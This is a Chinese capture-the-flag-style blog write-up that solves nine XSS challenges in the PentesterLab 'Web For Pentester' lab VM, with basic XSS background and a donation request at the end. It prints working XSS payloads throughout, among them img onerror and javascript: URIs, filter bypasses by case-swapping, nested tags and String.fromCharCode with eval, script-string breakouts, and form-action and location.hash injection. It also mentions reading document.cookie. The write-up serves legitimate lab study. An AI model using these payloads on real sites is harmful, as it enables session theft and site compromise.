记录了 PentesterLab 中的 黑盒 Fuzz XSS 关卡的解题方法,普及了一些 XSS 入门知识。本次做的是 Web For Pentester 靶机里面的 XSS 题目,一共有 9 道题目。

第 1 题(无过滤措施)

首先在后面输入 xss:

http://10.211.55.16/xss/example1.php?name=xss

看到如下页面:

然后查看下源码:
image
感觉这里没有任何的防御措施,忍不住笑出了声。

image

有很多的标签里面都可以调用 HTML 的事件属性来弹窗,为了节约时间,下面国光我就列举出一些比较常用的手法。

利用基本的script标签来弹窗

Payload

<script>alert('xss')</script>

定义和用法

<script> 标签用于定义客户端脚本,比如 JavaScript。

效果图

利用 iframe 标签的的 src 属性来弹窗

Payload

<iframe src=javascript:alert('xss')></iframe>

定义和用法

<iframe> 元素会创建包含另外一个文档的内联框架(即行内框架)。

效果图

利用 a 标签的 href 属性来弹窗

Payload

<a href=javascript:alert('xss')>ggtest</a>

这里就是超链接到了:javascript:alert('xss'),效果和浏览器直接打开这个地址:javascript:alert('xss')是一样的。这里还可以使用:javascript:alert(document.cookie) 来弹出当前会话的 cookie :

定义和用法

<a> 标签定义超链接,用于从一张页面链接到另一张页面,<a> 元素最重要的属性是 href 属性,它指示链接的目标。 指向国光博客的一个例子:

<a href="http://git.sqlsec.com”>国光博客</a>

效果图

利用 img 标签来弹窗

Payload

<img src=1 onerror=alert('xss')>  

这里的src后面是填写的 是 图片的地址,为了 测试简便 这个地址里面我们一般随便填写,比如这里我们填写的就是 1,因为1不是一个正确的值,所以 触发了后面的 onerror事件(遇到错误 就触发)

当然如果在 src 里面填写一个正常的 URL的话,就不会弹窗的了,因为 onerror 的触发条件是得报错。


src后面的值是正确的时候呢,这个还可以用 oneclick事件来触发弹窗:

<img src=http://www.sqlsec.com/favicon.ico onclick=alert('xss')>  

这里不论 src 后面的值 是否正确,只要鼠标点击,就会触发弹窗事件:

类似 onerror和 onclick 的事件有很多种。

定义和用法

img 元素向网页中嵌入一幅图像。
请注意,从技术上讲,<img> 标签并不会在网页中插入图像,而是从网页上链接图像。<img> 标签创建的是被引用图像的占位空间。
<img> 标签有两个必需的属性:src 属性 和 alt 属性

凡是支持事件的HTML标签都是可以弹窗的,在HTML中支持事件属性的标签很多。

列举出常见的事件

Windows 事件属性

事件 作用
onerror 在错误发生时运行的脚本
onload 页面结束加载之后触发

Keyboard 事件

事件 作用
onkeydown 在用户按下按键时触发
onkeypress 在用户敲击按钮时触发
onkeyup 当用户释放按键时触发

鼠标(Mouse)事件

事件 作用
onclick 元素上发生鼠标点击时触发
onmousedown 当元素上按下鼠标按钮时触发
onmousemove 当鼠标指针移动到元素上时触发。
onmouseover 当鼠标指针移动到元素上时触
onmouseout 当鼠标指针移出元素时触发
onmouseup 当在元素上释放鼠标按钮时触发

列举出一些支持事件的HTML常见标签

标签 作用
a 定义超链接,用于从一张页面链接到另一张页面,最重要的属性是 href 属性,它指示链接的目标
article 规定独立的自包含内容一篇文章应有其自身的意义,应该有可能独立于站点的其余部分对其进行分发
audio 定义声音,比如音乐或其他音频流
b 规定粗体文本
body 定义文档的主体,包含文档的所有内容
br 只是简单地开始新的一行
button 定义一个按钮
iframe 会创建包含另外一个文档的内联框架
img 向网页中嵌入一幅图像
select 可创建单选或多选菜单
style 用于为 HTML 文档定义样式信息
textarea 标签定义多行的文本输入控件
video 定义视频,比如电影片段或其他视频流

第一题因为没有任何的过滤,所以理论上支持调用 HTML 事件属性的标签都是可以成功弹窗的,下面来个综合点的 payload

综合点的 payload

http://10.211.55.16/xss/example1.php?name=<button type="button" onclick=alert('xss')>通过按钮点击触发xss</button> <font size="4" color="blue" onmouseover=alert('xss')>  移动到元素触发xss  </font> <br>
<select> <option onclick=alert('x')>onclick点击触发事件</option> <option values=1 onmousedown=alert('ss')>onmousedown触发</option></select> <a href=javascript:alert('xss')>利用a标签的href属性触发</a> <br>
<textarea placeholder=国光的xss测试:键盘按键触发xss onkeypress=alert('xss')></textarea>

第 2 题(大小写转换)

这一题的话, 除了<script>alert('xss')</script>这个 payload,其他用第一题中的其他 payload:

<iframe src=javascript:alert('xss')></iframe>
<a href=javascript:alert('xss')>ggtest</a>
<img src=1 onerror=alert('xss')>
...

依然还是可以的,为了不这么容易做完这道题目,我们来下面的题目都尽量使用<script>alert('xss')</script>来试试看 :

查看下源码:

这里我们猜测过滤<script></script>,然后这里尝试下大小写转换,尝试着绕过过滤:

<Script>alert('xss')</scripT>

可以看到成功绕过了:

第 3 题(嵌套构造)

<Script>alert('xss')</scripT>

发现大小写转换的这个套路已经不能够使用了:

得到结论是:没有过滤 alert('xss'),现在就把注意力集中在 <script></script>上 ,Fuzz 测试一下,看看具体过滤了哪些字符?然后再想办法绕过。

http://10.211.55.16/xss/example3.php?name=<></>script<script>


可以看出过滤了: </script><script>,尝试构造输入:

http://10.211.55.16/xss/example3.php?name=<sc<script>ript>

查看源码后发现成功构造出

<script>

于是判断这里只过滤了一次,接着尝试构造如下完整的 payload:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>alert('xss')</s</script>cript>

第 4 题(利用标签绕过)

直接输入:<script>alert('xss')</script>发现直接 error 了,于是再次出尝试输入:

http://10.211.55.16/xss/example4.php?name=<>alert('xss')</>

再次得出结论:没有过滤<> </> alerrt('xss'),现在主要想办法对script 做个处理来绕过过滤。 然而我各种编码都没有绕过,有的编码的确是绕过了,但是貌似没有解析脚本 =,= 哎~~~放弃用这种形式的<script>alert('xss')</script>的payload 了,于是乎使用下面的<img> 标签成功绕过:

<img src=1 onerror=alert('xss')>

第 5 题(编码绕过)

首先执行:

<script>alert('xss')</script>

发现直接就 报 error了,于是 Fuzz 测试发现并没有过滤:<script></script> ,只是过滤了:alert , 利用火狐浏览器的hackbar插件对alert('xss')进行String.fromCharCode转换:

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))</script>

第 6 题(闭合标签)

首先默认查看下源码:

发现我们输出的hacker作为了一个变量赋值给了a,并且这个变量在<script>这个标签中 , 这样的话,只要能够突破这个赋值的变量,就可以利用这个<script>这个标签来弹窗了。 下面想办法闭合进行 Fuzz 测试……

这里边看源码边做调整。几次测试后得到如下可以弹窗的 payload:

11";</script><img src=1 onerror=alert('xss')><script>

来查看下源码来简单的分析一下:


Hello
<script>
	var $a= "11";</script><img src=1 onerror=alert('xss')><script>";
</script>
	      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

payload 最前面的 11";</script> 闭合了前面的<script>标签 ,最后面的 <script> 闭合了后面的<script>标签 ,中间的

<img src=1 onerror=alert('xss')>

用来触发弹窗事件。

第 7 题(标签内弹窗)

首先来查看下源码:

感觉貌似和第 6 题差不多,于是稍微修改了下使用下面的 payload 来进行测试:

hacker';</script><img src=1 onerror=alert('xss')><script>

结果并没有弹窗,赶紧查看下源码压压惊:

可以看到对输入的 </>符号进行转义了,导致我们的弹窗失败。 所以现在的着重点就是 如何处理这些符号:
</>,然而国光我失败了,对这些符号进行转码也是失败了。

后来想了好久终于知道问题所在了: 受到以前闭合一句话木马的缘故,我老是想着闭合首尾的标签 ,仔细想想,这个变量 就在<script>里面,可以在里面直接写 alert('xss') 来弹窗的,这样也就不需要使用 </>特殊符号了。

这么看来的话,第 6 题 也应该这么来做,奇葩的我,居然是闭合的方式来弹窗的….

http://10.211.55.16/xss/example6.php?name=name=";alert('xss');var b="

查看下源码:


Hello
<script>
	var $a= "name=";alert('xss');var b="";
</script>
	      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

这里 巧妙的利用了 ; 来在<script>标签里面执行alert('xss')

第 8 题(寻找回显点)

是一个输入框,然后输入 payload:<img src=1 onerror=alert('xss')>;来试试看,查看源码:

HELLO &lt;img src=1 onerror=alert('xss')&gt;<form action="/xss/example8.php" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

发现也是对 < > 标签进行转义了,这里进行各种编码也没有绕过。
又是好久也没有成功突破,最后仔细看源码,发现突破点在于

<form action="/xss/example8.php"

这是第 8 题的 URL,于是注意力转移到 URL 处,尝试在 URL 后面添加

http://10.211.55.16/xss/example8.php/

查看源码:


发现我们最后添加的 :/ 写在了<form>这个标签中,于是在这里进行 Fuzz 测试,尝试闭合标签,最后构造的 payload如下:

http://10.211.55.16/xss/example8.php/"><img src=1 onerror=alert('xss')><form

来查看下源码来分析刚刚构造的 payload

<form action="/xss/example8.php/"><img src=1 onerror=alert('xss')><form" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

/"闭合了最前面的<form><form> 闭合了最后面的/> 中间的

<img src=1 onerror=alert('xss')>

触发了弹窗事件。

第 9 题(location.hash)

这一题很特殊,不愧是大 boss,这里首先查看下源码:

在源码中完全找不到hacker的任何字样,于是仔细百度最可疑的地方:

<script>
  document.write(location.hash.substring(1));
</script>

找到一份资料:http://www.runoob.com/jsref/prop-loc-hash.html

这里可以大概看出这里是读取#后面的东西,于是乎简单的在#后面构造 xss 语句:

http://10.211.55.16/xss/example9.php#<img src=http://www.sqlsec.com/favicon.ico onclick=alert('Bingo')>

最后一道题目了,得录制个 gif 来庆祝一下:

小结

虽然这个平台只有 9 道题目,但是用心去整理拓展,发现可以学到很多 xss 的入门姿势,这样又把以前快忘记的 xss 姿势巩固提高了一下,更好的为不久后挖 BAT 的 XSS 漏洞做好基础知识的准备。

点评

这篇是早期写的靶场类的文章,可以看到文笔还是有很多值得改进的地方,早期只是黑盒 Fuzz 测试,没有从白盒后端的角度去考虑问题,所以对漏洞的本质理解起来也并不是很透彻,但是本文作为 XSS 入门的话应该是足够了的。

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光